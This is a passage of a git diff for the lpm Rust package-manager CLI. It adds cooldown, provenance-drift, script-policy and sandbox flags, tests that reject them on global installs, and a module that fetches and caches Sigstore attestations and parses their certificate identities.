command_needs_global_state(cmd: &Commands) -> bool { } } +#[allow(clippy::too_many_arguments)] fn validate_global_install_project_scoped_flags( save_dev: bool, filter: &[String], workspace_root: bool, fail_if_no_match: bool, yes: bool, + // Phase 46 P3 D13/D19: `--min-release-age` is wired on the shared + // `lpm install` surface, but per-invocation cooldown override for + // global installs is explicitly out of P3 scope. Reject rather than + // silently drop — the reviewer caught a contract bug where the flag + // was parsed after the `-g` early-return, so even `--min-release-age=garbage` + // would be silently accepted on the global path. + min_release_age: Option<&str>, + // Phase 46 P4 Chunk 4: mirrors the P3 rejection pattern for the + // drift-override flags. Global install trust store has no + // `provenance_at_approval` today (it's a separate schema; see + // §3.9 + §17 in the plan), so `--ignore-provenance-drift` and + // `--ignore-provenance-drift-all` have no semantic target on the + // `-g` path. Reject explicitly rather than silently drop, same + // reasoning as the cooldown flag above. + ignore_provenance_drift: &[String], + ignore_provenance_drift_all: bool, ) -> Result<(), lpm_common::LpmError> { if save_dev || !filter.is_empty() || workspace_root || fail_if_no_match || yes { return Err(lpm_common::LpmError::Script( @@ -1465,6 +1671,22 @@ fn validate_global_install_project_scoped_flags( .into(), )); } + if min_release_age.is_some() { + return Err(lpm_common::LpmError::Script( + "`--min-release-age` is not supported on `lpm install -g` in Phase 46 P3 \ + (global scope is tracked for Phase 46.1). Drop the flag for global installs; \ + the cooldown still fires via the package.json / ~/.lpm/config.toml / 24h default chain." + .into(), + )); + } + if !ignore_provenance_drift.is_empty() || ignore_provenance_drift_all { + return Err(lpm_common::LpmError::Script( + "`--ignore-provenance-drift` / `--ignore-provenance-drift-all` are not \ + supported on `lpm install -g` in Phase 46 P4 (global trust store is tracked \ + for Phase 46.1). Drop the flag for global installs." + .into(), + )); + } Ok(()) } @@ -1797,6 +2019,9 @@ async fn async_main() -> Result<()> { offline, force, allow_new, + min_release_age, + ignore_provenance_drift, + ignore_provenance_drift_all, linker, no_skills, no_editor_setup, @@ -1812,6 +2037,9 @@ async fn async_main() -> Result<()> { global, replace_bin, alias, + policy, + yolo, + triage_alias, } => { // Phase 37 M3.2: route `lpm install --global` / `-g` to // the persistent IsolatedInstall pipeline. M3.2 ships @@ -1846,6 +2074,9 @@ async fn async_main() -> Result<()> { workspace_root, fail_if_no_match, yes, + min_release_age.as_deref(), + &ignore_provenance_drift, + ignore_provenance_drift_all, ) .into_diagnostic()?; // Phase 37 M4: parse collision-resolution flags. Syntactic @@ -1869,6 +2100,11 @@ async fn async_main() -> Result<()> { tilde, save_prefix, ); // M3.2 honors none of these yet; M3.4/M5 will wire selected flags. + // `min_release_age`, `ignore_provenance_drift`, and + // `ignore_provenance_drift_all` are already rejected by + // `validate_global_install_project_scoped_flags` above, + // so none of them reach this point as a populated value + // — no discard needed. return commands::install_global::run(&client, &packages[0], resolution, cli.json) .await .into_diagnostic(); @@ -1901,6 +2137,73 @@ async fn async_main() -> Result<()> { let cfg = commands::config::GlobalConfig::load(); let eff_allow_new = allow_new || cfg.get_bool("allowNew").unwrap_or(false); + // Phase 46 P3: parse `--min-release-age=` once, at the + // clap layer, so invalid input surfaces before any install + // work starts. `None` means the flag was absent and the + // resolver walks the full precedence chain inside + // `run_with_options`. + let min_release_age_override: Option = match min_release_age.as_deref() { + Some(s) => Some(release_age_config::parse_duration(s)?), + None => None, + }; + + // Phase 46 P4 Chunk 4: canonicalize + // `--ignore-provenance-drift ` + `--ignore-provenance-drift-all` + // into a single policy enum. Per Q2 of the P4 kickoff, + // `-all` supersedes the per-package list — no clap + // mutex, just collapse internally. + let drift_ignore_policy = provenance_fetch::DriftIgnorePolicy::from_cli( + ignore_provenance_drift, + ignore_provenance_drift_all, + ); + + // Phase 46 P1: resolve the effective script-policy through + // the precedence chain (CLI > package.json > global > + // default). Clap enforces mutual exclusion between the + // three flags, so `collapse_policy_flags` only needs to + // validate the `--policy` string payload. In P1 the + // resolved value is logged but not yet branched on — the + // actual tier-aware execution change lands with the + // sandbox in a later phase. + // + // Loading the config here (rather than inside + // `resolve_script_policy`) lets us surface a typo in + // `package.json > lpm > scriptPolicy` to the user: a + // team-shared manifest must not silently fall through to + // each developer's `~/.lpm/config.toml` on typos (see + // audit Finding 2). The warning emission is deferred to + // AFTER resolve so the user sees what actually took effect + // (the CLI override may have superseded the project value + // anyway — audit v3 Finding 1). + let script_policy_cfg = + script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); + // Phase 46 P2 Chunk 5: preserve the collapsed CLI override + // separately so we can forward it to install entry points + // that re-resolve against a workspace member's config. + // `effective_script_policy` below is the CWD-level view + // used for logging; each install target resolves its own. + let cli_script_policy_override = + script_policy_config::collapse_policy_flags(policy.as_deref(), yolo, triage_alias) + .map_err(lpm_common::LpmError::Script)?; + let effective_script_policy = script_policy_config::resolve_script_policy( + cli_script_policy_override, + &script_policy_cfg, + ); + tracing::debug!( + "lpm install: effective script-policy = {}", + effective_script_policy.as_str() + ); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); this key was \ + ignored — effective policy: {}", + effective_script_policy.as_str(), + )); + } + // Phase 33: build the SaveFlags struct from the per-command CLI // overrides. clap already enforces mutual exclusion between // `--exact`, `--tilde`, and `--save-prefix`, so at most one of @@ -1952,6 +2255,9 @@ async fn async_main() -> Result<()> { eff_auto_build, None, // target_set: bare-install path is single-target None, // direct_versions_out: bare install does not finalize a manifest + cli_script_policy_override, + min_release_age_override, + drift_ignore_policy, ) .await } @@ -1970,6 +2276,9 @@ async fn async_main() -> Result<()> { eff_allow_new, force, save_flags, + cli_script_policy_override, + min_release_age_override, + drift_ignore_policy, ) .await } else { @@ -1995,6 +2304,9 @@ async fn async_main() -> Result<()> { eff_allow_new, force, save_flags, + cli_script_policy_override, + min_release_age_override, + drift_ignore_policy, ) .await } else { @@ -2007,6 +2319,9 @@ async fn async_main() -> Result<()> { eff_allow_new, force, save_flags, + cli_script_policy_override, + min_release_age_override, + drift_ignore_policy, ) .await } @@ -2440,6 +2755,10 @@ async fn async_main() -> Result<()> { .await } Commands::Global { action } => commands::global::run(&client, action, cli.json).await, + Commands::Trust { action } => { + let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; + commands::trust::run(&action, &cwd).await + } Commands::Pool => commands::pool::run(&client, cli.json).await, Commands::Skills { action, package } => { let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; @@ -2496,8 +2815,47 @@ async fn async_main() -> Result<()> { timeout, unsafe_full_env, deny_all, + policy, + yolo, + triage_alias, + no_sandbox, + sandbox_log, } => { let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; + // Phase 46 P1: resolve the effective script-policy through + // the precedence chain. Clap already enforced mutual- + // exclusion between `--policy`, `--yolo`, `--triage`, so + // at most one of the three is set per invocation. + // `lpm build` itself does not branch on the resolved value + // in P1 — tier-aware execution lands with the sandbox in + // a later phase. Loading the config here also surfaces + // typos in `package.json > lpm > scriptPolicy` instead of + // silently falling through (audit Finding 2). Warning + // emission is deferred until after resolve so the user + // sees what actually took effect — the CLI override may + // have superseded the project value anyway (audit v3 + // Finding 1). + let script_policy_cfg = + script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); + let cli_override = + script_policy_config::collapse_policy_flags(policy.as_deref(), yolo, triage_alias) + .map_err(lpm_common::LpmError::Script)?; + let effective = + script_policy_config::resolve_script_policy(cli_override, &script_policy_cfg); + tracing::debug!( + "lpm build: effective script-policy = {}", + effective.as_str() + ); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); this key was \ + ignored — effective policy: {}", + effective.as_str(), + )); + } commands::build::run( &cwd, &packages, @@ -2508,6 +2866,15 @@ async fn async_main() -> Result<()> { cli.json, unsafe_full_env, deny_all, + no_sandbox, + sandbox_log, + // Phase 46 P6 Chunk 1: pass the resolved effective + // policy through. Previously `effective` was computed + // only for the typo-warning + debug log above and + // never reached `build::run`; Chunk 1 closes that gap + // so Chunk 2 can consult it for green-tier promotion + // without another signature change. + effective, ) .await } @@ -2674,6 +3041,7 @@ async fn async_main() -> Result<()> { list, global, group, + dry_run, } => { if global { // Phase 37 M5: global-scoped approve-builds reads the @@ -2682,8 +3050,15 @@ async fn async_main() -> Result<()> { // `~/.lpm/global/trusted-dependencies.json`. `--group` // groups list + interactive review by top-level global, // while persisted trust still remains per dependency row. - commands::approve_builds::run_global(package.as_deref(), yes, list, group, cli.json) - .await + commands::approve_builds::run_global( + package.as_deref(), + yes, + list, + group, + dry_run, + cli.json, + ) + .await } else { // `--group` is only meaningful with `--global` today. // Reject early so users don't think it affects the @@ -2696,7 +3071,15 @@ async fn async_main() -> Result<()> { .into_diagnostic(); } let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; - commands::approve_builds::run(&cwd, package.as_deref(), yes, list, cli.json).await + commands::approve_builds::run( + &cwd, + package.as_deref(), + yes, + list, + dry_run, + cli.json, + ) + .await } } Commands::Patch { key } => { @@ -3568,6 +3951,9 @@ mod tests { workspace_root, fail_if_no_match, yes, + None, + &[], + false, ) .unwrap_err(); @@ -3583,6 +3969,197 @@ mod tests { } } + /// Phase 46 P3 reviewer finding: `-g` + `--min-release-age=` + /// must hard-error before the flag is even parsed, so that invalid + /// values (`=garbage`) don't silently pass and no-op values (`=0`) + /// don't mislead the user into thinking global installs honor the + /// override. The flag is documented on the shared `Install` clap + /// variant but its semantics are explicitly project-only per D13/D19 + /// in the Phase 46 plan. + #[test] + fn install_global_rejects_min_release_age_flag() { + for value in ["0", "72h", "garbage", "+5h"] { + let cli = Cli::try_parse_from([ + "lpm", + "install", + "-g", + "eslint", + &format!("--min-release-age={value}"), + ]) + .unwrap(); + match cli.command.expect("test parse missing subcommand") { + Commands::Install { + save_dev, + filter, + workspace_root, + fail_if_no_match, + yes, + global, + min_release_age, + .. + } => { + assert!(global, "-g must parse into global=true"); + assert_eq!(min_release_age.as_deref(), Some(value)); + + let err = validate_global_install_project_scoped_flags( + save_dev, + &filter, + workspace_root, + fail_if_no_match, + yes, + min_release_age.as_deref(), + &[], + false, + ) + .unwrap_err(); + + match err { + lpm_common::LpmError::Script(message) => { + assert!( + message.contains("--min-release-age"), + "error must name the flag, got: {message}" + ); + assert!( + message.contains("Phase 46.1"), + "error must point at the Phase 46.1 follow-up, got: {message}" + ); + } + other => panic!("expected Script error, got {other:?}"), + } + } + _ => panic!("expected Install command"), + } + } + } + + /// Phase 46 P4 Chunk 4: `-g` + `--ignore-provenance-drift ` + /// must hard-error. Mirrors the P3 `--min-release-age` rejection + /// pattern. D13/D19 keeps global out of P4 scope; the override + /// has no semantic target on the `-g` path (global trust store + /// is a separate schema, §3.9). + #[test] + fn install_global_rejects_ignore_provenance_drift_flag() { + let cli = Cli::try_parse_from([ + "lpm", + "install", + "-g", + "eslint", + "--ignore-provenance-drift", + "axios", + "--ignore-provenance-drift", + "lodash", + ]) + .unwrap(); + match cli.command.expect("test parse missing subcommand") { + Commands::Install { + save_dev, + filter, + workspace_root, + fail_if_no_match, + yes, + global, + ignore_provenance_drift, + ignore_provenance_drift_all, + .. + } => { + assert!(global); + assert_eq!( + ignore_provenance_drift, + vec!["axios".to_string(), "lodash".to_string()], + ); + assert!(!ignore_provenance_drift_all); + + let err = validate_global_install_project_scoped_flags( + save_dev, + &filter, + workspace_root, + fail_if_no_match, + yes, + None, + &ignore_provenance_drift, + ignore_provenance_drift_all, + ) + .unwrap_err(); + + match err { + lpm_common::LpmError::Script(message) => { + assert!( + message.contains("--ignore-provenance-drift"), + "error must name the flag, got: {message}", + ); + assert!( + message.contains("Phase 46.1"), + "error must point at Phase 46.1 follow-up, got: {message}", + ); + } + other => panic!("expected Script error, got {other:?}"), + } + } + _ => panic!("expected Install command"), + } + } + + /// Phase 46 P4 Chunk 4: `-g` + `--ignore-provenance-drift-all` + /// must hard-error. Separate test from the per-package variant so + /// CI can tell which specific user command triggered the + /// regression if the validator ever stops enforcing one branch. + #[test] + fn install_global_rejects_ignore_provenance_drift_all_flag() { + let cli = Cli::try_parse_from([ + "lpm", + "install", + "-g", + "eslint", + "--ignore-provenance-drift-all", + ]) + .unwrap(); + match cli.command.expect("test parse missing subcommand") { + Commands::Install { + save_dev, + filter, + workspace_root, + fail_if_no_match, + yes, + global, + ignore_provenance_drift, + ignore_provenance_drift_all, + .. + } => { + assert!(global); + assert!(ignore_provenance_drift.is_empty()); + assert!(ignore_provenance_drift_all); + + let err = validate_global_install_project_scoped_flags( + save_dev, + &filter, + workspace_root, + fail_if_no_match, + yes, + None, + &ignore_provenance_drift, + ignore_provenance_drift_all, + ) + .unwrap_err(); + + match err { + lpm_common::LpmError::Script(message) => { + assert!( + message.contains("--ignore-provenance-drift-all") + || message.contains("--ignore-provenance-drift"), + "error must name a drift-override flag, got: {message}", + ); + assert!( + message.contains("Phase 46.1"), + "error must point at Phase 46.1 follow-up, got: {message}", + ); + } + other => panic!("expected Script error, got {other:?}"), + } + } + _ => panic!("expected Install command"), + } + } + // ── Phase 32 Phase 2 M3: uninstall --filter / -w / --fail-if-no-match ── #[test] @@ -3834,12 +4411,14 @@ mod tests { list, global, group, + dry_run, } => { assert!(package.is_none()); assert!(!yes); assert!(!list); assert!(!global); assert!(!group); + assert!(!dry_run); } _ => panic!("expected ApproveBuilds command"), } diff --git a/crates/lpm-cli/src/provenance_fetch.rs b/crates/lpm-cli/src/provenance_fetch.rs new file mode 100644 index 00000000..e9e3b153 --- /dev/null +++ b/crates/lpm-cli/src/provenance_fetch.rs @@ -0,0 +1,1237 @@ +//! Phase 46 P4 Chunk 2 — Sigstore attestation fetch + cache + cert +//! SAN extraction for the CLI's provenance-drift check (§7.1). +//! +//! Pipeline: +//! +//! 1. Caller resolves an `Option` from the registry +//! metadata response. `None` (or `url = None`) means the registry +//! explicitly did not ship a Sigstore attestation for this +//! version — this is the axios-case signal when compared against +//! an approved version that DID have one. +//! 2. [`fetch_provenance_snapshot`] checks the on-disk cache under +//! `~/.lpm/cache/metadata/attestations/` (7-day TTL). Cache hits +//! skip the network round-trip. +//! 3. On cache miss, we GET the attestation URL, parse the Sigstore +//! bundle JSON, extract the leaf certificate (base64 DER), parse +//! its SAN extension for the GitHub Actions OIDC URI, and return +//! a populated [`ProvenanceSnapshot`]. +//! +//! **Fetch-failure semantics** (plan §11 P4): +//! - `Ok(Some(snapshot))` — a definitive answer (either +//! `present: true` with identity extracted, or `present: false` +//! meaning the registry has no attestation for this version). +//! - `Ok(None)` — **degraded / unknown** (network error, malformed +//! bundle, etc.). The Chunk 3 drift rule interprets this as +//! "pass, don't drift" per the plan's offline/degrade guarantee. +//! Never cached, so the next install retries. +//! - `Err(_)` — reserved for genuinely fatal conditions (cache +//! directory unwritable, I/O errors the caller must surface). +//! +//! **Scope (plan D5):** identity extraction only. No Sigstore +//! signature verification, no Fulcio trust-root checks. Phase 46.1 +//! lands full cryptographic verification. +//! +//! The install-time call site lives in +//! [`crate::commands::install::run_with_options`]'s drift gate, +//! which fires immediately after the cooldown gate on fresh +//! resolution paths. + +use base64::Engine as _; +use base64::engine::general_purpose::STANDARD as BASE64; +use lpm_common::LpmError; +use lpm_registry::AttestationRef; +use lpm_workspace::ProvenanceSnapshot; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use std::collections::HashSet; +use std::path::{Path, PathBuf}; +use std::time::{SystemTime, UNIX_EPOCH}; + +/// **Phase 46 P4 Chunk 4.** Canonicalized policy for the +/// `--ignore-provenance-drift[-all]` override flags on `lpm install`. +/// +/// The two clap args compose per Q2 of the P4 kickoff discussion: +/// `--ignore-provenance-drift-all` supersedes the per-package list, +/// so passing `-all` alongside specific `--ignore-provenance-drift X` +/// is not an error — it just collapses to `IgnoreAll`. This avoids a +/// clap mutual-exclusion rule that would otherwise trip CI scripts +/// that forward both from an orchestrator. +#[derive(Debug, Clone, Default)] +pub enum DriftIgnorePolicy { + /// No override: enforce §7.2 drift normally. + #[default] + EnforceAll, + /// Opt out of drift enforcement for these specific package names. + /// Empty set is not constructible — callers use [`Self::from_cli`] + /// which rewrites an empty per-package list to `EnforceAll`. + IgnoreNames(HashSet), + /// Opt out of drift enforcement for every resolved package. + IgnoreAll, +} + +impl DriftIgnorePolicy { + /// Build the canonical policy from the two raw clap inputs. + /// + /// - `ignore_all = true` → `IgnoreAll` (per-package list ignored). + /// - `ignore_all = false`, non-empty list → `IgnoreNames`. + /// - Both empty / unset → `EnforceAll`. + pub fn from_cli(ignore_names: Vec, ignore_all: bool) -> Self { + if ignore_all { + return Self::IgnoreAll; + } + if ignore_names.is_empty() { + return Self::EnforceAll; + } + Self::IgnoreNames(ignore_names.into_iter().collect()) + } + + /// Whether this policy suppresses drift enforcement universally. + /// Used by the install gate to short-circuit the entire per- + /// package loop without any network cost. + pub fn ignores_all(&self) -> bool { + matches!(self, Self::IgnoreAll) + } + + /// Whether drift enforcement is suppressed for one specific name. + /// `IgnoreAll` returns `true` for every name; `EnforceAll` + /// returns `false` for every name; `IgnoreNames` consults the + /// set. + pub fn ignores_name(&self, name: &str) -> bool { + match self { + Self::EnforceAll => false, + Self::IgnoreNames(set) => set.contains(name), + Self::IgnoreAll => true, + } + } +} + +/// 7-day TTL per the Phase 46 plan (§11 P4). +const CACHE_TTL_SECS: u64 = 7 * 24 * 60 * 60; + +/// Schema version for the on-disk cache entries. Bump if the parsed +/// `ProvenanceSnapshot` shape changes OR the SAN extractor's +/// behaviour changes in a way that invalidates prior captures. Entries +/// with a mismatched version are treated as misses (re-fetch). +const CACHE_SCHEMA_VERSION: u32 = 1; + +/// Max attestation-bundle response size we'll read. Defends against +/// a hostile / broken registry serving an unbounded body that would +/// OOM the process. 1 MiB is several orders of magnitude above any +/// real Sigstore bundle. +const MAX_BUNDLE_BYTES: usize = 1024 * 1024; + +/// HTTP fetch timeout for attestation bundle requests. Kept short +/// because this is an install-path blocker — a slow registry should +/// degrade to "unknown" quickly rather than stall the install. +const FETCH_TIMEOUT_SECS: u64 = 15; + +// ── Public API ────────────────────────────────────────────────── + +/// Fetch (or read from cache) the `ProvenanceSnapshot` for one +/// package version. +/// +/// See module docs for the return-value semantics. Never writes a +/// `None` result to cache — those are always transient and the next +/// install should retry. +pub async fn fetch_provenance_snapshot( + http: &reqwest::Client, + cache_root: &Path, + name: &str, + version: &str, + attestation_ref: Option<&AttestationRef>, +) -> Result, LpmError> { + // Registry said "no attestation for this version" — that is the + // axios signal. Return a definitive `present: false` snapshot. + // We still cache it so repeated installs of the same absent + // package don't re-examine the registry metadata endlessly (the + // metadata itself is cached by the resolver, but this makes the + // absence signal an O(1) disk read for the drift check). + let url = match attestation_ref.and_then(|a| a.url.as_deref()) { + Some(u) => u, + None => { + let absent = ProvenanceSnapshot { + present: false, + ..Default::default() + }; + let _ = write_cache(cache_root, name, version, &absent); + return Ok(Some(absent)); + } + }; + + // Cache hit + fresh → skip the network round-trip. + if let Some(cached) = read_cache(cache_root, name, version)? { + return Ok(Some(cached)); + } + + // Cache miss → fetch. Any error from here down degrades to + // `Ok(None)` and is NOT cached — the next install retries. + let Ok(snapshot) = fetch_and_parse(http, url).await else { + return Ok(None); + }; + + // Successful parse — cache it and return. Cache-write failures + // are logged but not propagated: the snapshot is already + // computed and usable; future invalidation is at worst one + // extra fetch. + if let Err(e) = write_cache(cache_root, name, version, &snapshot) { + tracing::warn!( + "provenance cache write failed for {name}@{version}: {e}; \ + continuing with fresh snapshot" + ); + } + Ok(Some(snapshot)) +} + +// ── Cache primitives ──────────────────────────────────────────── + +/// Cache entry schema on disk. +#[derive(Serialize, Deserialize)] +struct CacheEntry { + /// Schema version — mismatches are treated as misses. + version: u32, + /// Unix timestamp (secs) when the entry was written. + cached_at_secs: u64, + /// The extracted provenance snapshot. + snapshot: ProvenanceSnapshot, +} + +/// Compute the on-disk cache filename for one `name@version`. +/// +/// Strategy: SHA-256 of the canonical `name@version` string, hex- +/// encoded. Deterministic, filesystem-safe (no `@` or `/` issues on +/// Windows or case-insensitive volumes), collision-resistant, and +/// keeps the cache dir a single flat directory — no per-scope +/// sub-tree walking. The full `name@version` is recorded inside the +/// cache entry's `snapshot` doc comment so a human debugging a bad +/// cache entry can cross-reference by content if needed. +fn cache_filename(name: &str, version: &str) -> String { + let mut hasher = Sha256::new(); + hasher.update(name.as_bytes()); + hasher.update(b"@"); + hasher.update(version.as_bytes()); + format!("{}.json", hex::encode(hasher.finalize())) +} + +fn cache_path(cache_root: &Path, name: &str, version: &str) -> PathBuf { + cache_root.join(cache_filename(name, version)) +} + +fn current_epoch_secs() -> u64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0) +} + +/// Read a cache entry if it exists AND is fresh AND has the expected +/// schema version. Returns `Ok(None)` for every other condition +/// (stale, corrupt, missing, version mismatch). Returns `Err` only +/// for genuine I/O failures the caller would want to surface. +/// +/// We deliberately swallow corrupt-file errors (bad JSON, wrong +/// schema) as misses rather than failing the install — a single bad +/// cache entry should not block a build, and the next write overwrites +/// it. +fn read_cache( + cache_root: &Path, + name: &str, + version: &str, +) -> Result, LpmError> { + let path = cache_path(cache_root, name, version); + let bytes = match std::fs::read(&path) { + Ok(b) => b, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(None), + Err(e) => return Err(LpmError::Io(e)), + }; + + let entry: CacheEntry = match serde_json::from_slice(&bytes) { + Ok(e) => e, + Err(_) => return Ok(None), // corrupt file → treat as miss + }; + + if entry.version != CACHE_SCHEMA_VERSION { + return Ok(None); // schema drift → re-fetch + } + if current_epoch_secs().saturating_sub(entry.cached_at_secs) >= CACHE_TTL_SECS { + return Ok(None); // stale → re-fetch + } + + Ok(Some(entry.snapshot)) +} + +/// Write a cache entry atomically: serialize to a temp file in the +/// same directory, then `rename`. Creates the cache directory if +/// absent. +fn write_cache( + cache_root: &Path, + name: &str, + version: &str, + snapshot: &ProvenanceSnapshot, +) -> Result<(), LpmError> { + std::fs::create_dir_all(cache_root).map_err(LpmError::Io)?; + + let entry = CacheEntry { + version: CACHE_SCHEMA_VERSION, + cached_at_secs: current_epoch_secs(), + snapshot: snapshot.clone(), + }; + let bytes = serde_json::to_vec(&entry) + .map_err(|e| LpmError::Registry(format!("failed to serialize provenance cache: {e}")))?; + + let path = cache_path(cache_root, name, version); + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, &bytes).map_err(LpmError::Io)?; + std::fs::rename(&tmp, &path).map_err(LpmError::Io)?; + Ok(()) +} + +// ── Fetch + parse ─────────────────────────────────────────────── + +/// Fetch the Sigstore attestation bundle from `url`, parse out the +/// leaf cert, extract its SAN identity, and compute the cert's +/// SHA-256. +/// +/// Any error from any stage degrades to `Err(())` — the caller maps +/// that to `Ok(None)` (unknown) so the install proceeds without +/// falsely claiming drift. +/// +/// **Body-size defense (reviewer finding, Chunk 2 revision):** the +/// original implementation called `response.bytes().await` first and +/// only then compared the buffered length against `MAX_BUNDLE_BYTES` +/// — which meant the 1 MiB "hostile registry" guard was theoretical: +/// we'd already have allocated the full oversized body by the time +/// the check ran. This function now enforces the cap in two stages: +/// +/// 1. **Pre-stream**: if `Content-Length` is declared and exceeds +/// the cap, reject before reading any body bytes. Legitimate +/// servers don't declare lying lengths, so this is a cheap +/// early-out. +/// 2. **Mid-stream**: for chunked / undeclared-length responses, +/// stream chunks via `bytes_stream()` into a bounded `Vec`, +/// checking the accumulator's size on every chunk and aborting +/// (dropping the stream, which closes the connection) the moment +/// it would exceed the cap. +/// +/// Together these mean: no matter how the server frames the body, we +/// never allocate more than `MAX_BUNDLE_BYTES + the final pre-limit +/// chunk` bytes before rejecting. +async fn fetch_and_parse(http: &reqwest::Client, url: &str) -> Result { + use futures::StreamExt; + + let response = http + .get(url) + .timeout(std::time::Duration::from_secs(FETCH_TIMEOUT_SECS)) + .send() + .await + .map_err(|_| ())?; + + if !response.status().is_success() { + return Err(()); + } + + // Stage 1: early-reject on oversized declared Content-Length. + // Cheap — server hasn't sent a body byte past the headers yet; + // dropping the response here closes the connection without + // reading any body. + if let Some(declared) = response.content_length() + && declared as usize > MAX_BUNDLE_BYTES + { + return Err(()); + } + + // Stage 2: streaming bound. Initial capacity is generous enough + // for a typical real bundle (~10-50 KiB) so we don't spend time + // growing the Vec for the common case, yet far below the cap so + // we never over-allocate relative to what we'll actually keep. + let mut buf: Vec = Vec::with_capacity(64 * 1024); + let mut stream = response.bytes_stream(); + while let Some(chunk) = stream.next().await { + let chunk = chunk.map_err(|_| ())?; + // Reject BEFORE copying the chunk into `buf`: the check is + // `buf.len() + chunk.len()` so even a single oversized chunk + // can't land in our Vec. + if buf.len().saturating_add(chunk.len()) > MAX_BUNDLE_BYTES { + return Err(()); + } + buf.extend_from_slice(&chunk); + } + + parse_sigstore_bundle(&buf) +} + +/// Parse a Sigstore bundle JSON and extract the leaf cert + its SAN +/// identity. Exposed for unit tests; the production path goes +/// through [`fetch_and_parse`]. +fn parse_sigstore_bundle(body: &[u8]) -> Result { + let bundle: serde_json::Value = serde_json::from_slice(body).map_err(|_| ())?; + + // The Sigstore bundle shape puts the cert chain at + // `verificationMaterial.x509CertificateChain.certificates[0].rawBytes` + // (base64-encoded DER). Some bundles (multi-subject responses, + // e.g., npm's `{ attestations: [...] }` list) wrap the bundle one + // level deeper; try both shapes. + let cert_b64 = find_leaf_cert_rawbytes(&bundle).ok_or(())?; + + let der = BASE64.decode(&cert_b64).map_err(|_| ())?; + let cert_sha = { + let mut hasher = Sha256::new(); + hasher.update(&der); + format!("sha256-{}", hex::encode(hasher.finalize())) + }; + + let identity = extract_san_identity(&der); + + Ok(ProvenanceSnapshot { + present: true, + publisher: identity.as_ref().map(|i| i.publisher.clone()), + workflow_path: identity.as_ref().map(|i| i.workflow_path.clone()), + workflow_ref: identity.as_ref().map(|i| i.workflow_ref.clone()), + attestation_cert_sha256: Some(cert_sha), + }) +} + +/// Walk a Sigstore bundle JSON looking for the leaf cert's +/// `rawBytes`. Handles both the standard bundle shape and npm's +/// attestations-list wrapper. +fn find_leaf_cert_rawbytes(v: &serde_json::Value) -> Option { + // Standard bundle: + // { verificationMaterial: { x509CertificateChain: { certificates: [{ rawBytes: ... }] } } } + if let Some(raw) = v + .get("verificationMaterial") + .and_then(|m| m.get("x509CertificateChain")) + .and_then(|c| c.get("certificates")) + .and_then(|arr| arr.as_array()) + .and_then(|arr| arr.first()) + .and_then(|c| c.get("rawBytes")) + .and_then(|r| r.as_str()) + { + return Some(raw.to_string()); + } + + // npm attestations-list wrapper: + // { attestations: [{ bundle: { } }] } + if let Some(list) = v.get("attestations").and_then(|a| a.as_array()) { + for att in list { + if let Some(bundle) = att.get("bundle") + && let Some(raw) = find_leaf_cert_rawbytes(bundle) + { + return Some(raw); + } + } + } + + None +} + +/// Parsed GitHub Actions OIDC identity from a cert SAN URI. +/// +/// The SAN URI carries a single composite `@` workflow +/// string; we split it at construction so the drift-check comparator +/// (in `lpm-security::provenance`) can compare `workflow_path` +/// cross-release while keeping `workflow_ref` as audit-only data. +/// Motivation: without the split, a legitimate v1.14.0 → v1.14.1 +/// release (same repo, same workflow file, necessarily different ref) +/// would register as "identity changed" and block. See the reviewer's +/// 2026-04-22 drift-comparator finding for the full trace. +#[derive(Debug, Clone, PartialEq, Eq)] +struct SanIdentity { + /// `github:/` — stable across releases. Part of the + /// drift-check identity tuple. + publisher: String, + /// Workflow PATH — `.github/workflows/`. Stable across + /// releases from the same workflow. Part of the drift-check + /// identity tuple. + workflow_path: String, + /// Workflow REF — `refs/tags/`, `refs/heads/`, etc. + /// Varies per release. Audit-only, NOT part of the identity + /// tuple. + workflow_ref: String, +} + +/// Extract the GitHub Actions OIDC identity from a DER-encoded x509 +/// certificate's Subject Alternative Name extension. +/// +/// GitHub's Fulcio leaf certs include a URI SAN of the shape +/// `https://github.com///.github/workflows/@`. +/// Any other SAN shape (non-GitHub, malformed, no URI SAN at all) +/// returns `None` — the drift check then sees a present-but-unknown +/// snapshot, which is a distinct signal from `present: false`. +/// +/// Returns `None` on parse failure rather than `Err` because the +/// calling path has already decided to materialize a snapshot — +/// degraded identity fields still support the drift check's "both +/// sides unknown" branch. +fn extract_san_identity(der: &[u8]) -> Option { + use x509_parser::extensions::{GeneralName, ParsedExtension}; + use x509_parser::prelude::*; + + let (_, cert) = X509Certificate::from_der(der).ok()?; + + for ext in cert.extensions() { + if let ParsedExtension::SubjectAlternativeName(san) = ext.parsed_extension() { + for name in &san.general_names { + if let GeneralName::URI(uri) = name + && let Some(identity) = parse_github_actions_uri(uri) + { + return Some(identity); + } + } + } + } + None +} + +/// Parse a GitHub Actions OIDC URI into its `(publisher, +/// workflow_path, workflow_ref)` parts. Returns `None` on any shape +/// mismatch so the caller can decide whether to fall back to a +/// less-specific signal. +/// +/// Expected shape: +/// `https://github.com///.github/workflows/@` +/// +/// - `publisher` → `github:/` (stable across releases). +/// - `workflow_path` → `.github/workflows/` (stable +/// across releases from the same workflow). +/// - `workflow_ref` → `` (e.g. `refs/tags/v1.14.0`, varies per +/// release). +/// +/// Non-GitHub hosts, missing `.github/workflows/` segment, or missing +/// `@` suffix all yield `None`. +/// +/// The split at the LAST `@` defends against a hypothetical ref that +/// itself contains `@` — extremely unlikely in practice (GitHub refs +/// don't use `@`), but `rsplit_once` is the correct primitive either +/// way since every legitimate GitHub Actions SAN URI has its ref +/// delimiter as the rightmost `@`. +fn parse_github_actions_uri(uri: &str) -> Option { + const PREFIX: &str = "https://github.com/"; + const WORKFLOWS_SEG: &str = "/.github/workflows/"; + + let after_host = 